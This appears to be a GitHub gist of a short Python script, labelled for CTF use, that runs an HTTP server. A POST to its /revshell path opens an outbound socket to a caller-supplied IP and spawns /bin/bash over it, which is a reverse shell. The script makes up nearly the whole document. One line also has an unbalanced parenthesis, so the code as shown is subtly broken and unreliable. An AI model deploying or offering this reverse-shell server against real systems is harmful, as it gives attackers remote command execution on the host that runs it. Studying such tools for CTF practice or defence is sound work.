Last active
August 20, 2024 03:39
-
-
Save Wind010/e5621c607f6339baf1f3533384885494 to your computer and use it in GitHub Desktop.
Reverse shell hosted by http.server for CTF
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/usr/bin/env python | |
| import argparse | |
| import http.server | |
| import socketserver | |
| import socket | |
| import os | |
| import pty | |
| class CustomRequestHandler(http.server.SimpleHTTPRequestHandler): | |
| def __init__(self, *args, reverse_port=None, **kwargs): | |
| self.reverse_port = reverse_port | |
| super().__init__(*args, **kwargs) | |
| def do_POST(self): | |
| if self.path == '/revshell': | |
| content_length = int(self.headers['Content-Length']) | |
| post_data = self.rfile.read(content_length).decode('utf-8') | |
| ip, port = post_data.split(':') | |
| # Updated reverse shell logic using the Python one-liner | |
| s = socket.socket() | |
| s.connect((ip, int(self.reverse_port))) | |
| os.dup2(s.fileno(), 0) | |
| os.dup2(s.fileno(), 1) | |
| os.dup2(s.fileno(), 2) | |
| pty.spawn("/bin/bash") | |
| self.send_response(200) | |
| self.send_header('Content-type', 'text/html') | |
| self.end_headers() | |
| self.wfile.write(b'<html><body>Reverse shell started</body></html>') | |
| else: | |
| hostname = self.headers['Host'] | |
| self.send_response(200) | |
| self.send_header('Content-type', 'text/html') | |
| self.end_headers() | |
| self.wfile.write(b'<html><body>Hostname: ' + hostname.encode('utf-8') + b'</body></html>')) | |
| def main(): | |
| parser = argparse.ArgumentParser(description="Start an HTTP server") | |
| parser.add_argument("port", type=int, help="Port number to listen on") | |
| parser.add_argument("reverse_port", type=int, help="Port number for reverse shell") | |
| args = parser.parse_args() | |
| Handler = lambda *handler_args, **handler_kwargs: CustomRequestHandler(*handler_args, reverse_port=args.reverse_port, **handler_kwargs) | |
| with socketserver.TCPServer(('', args.port), Handler) as httpd: | |
| print(f'Serving at port {args.port}...') | |
| httpd.serve_forever() | |
| if __name__ == "__main__": | |
| main() | |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment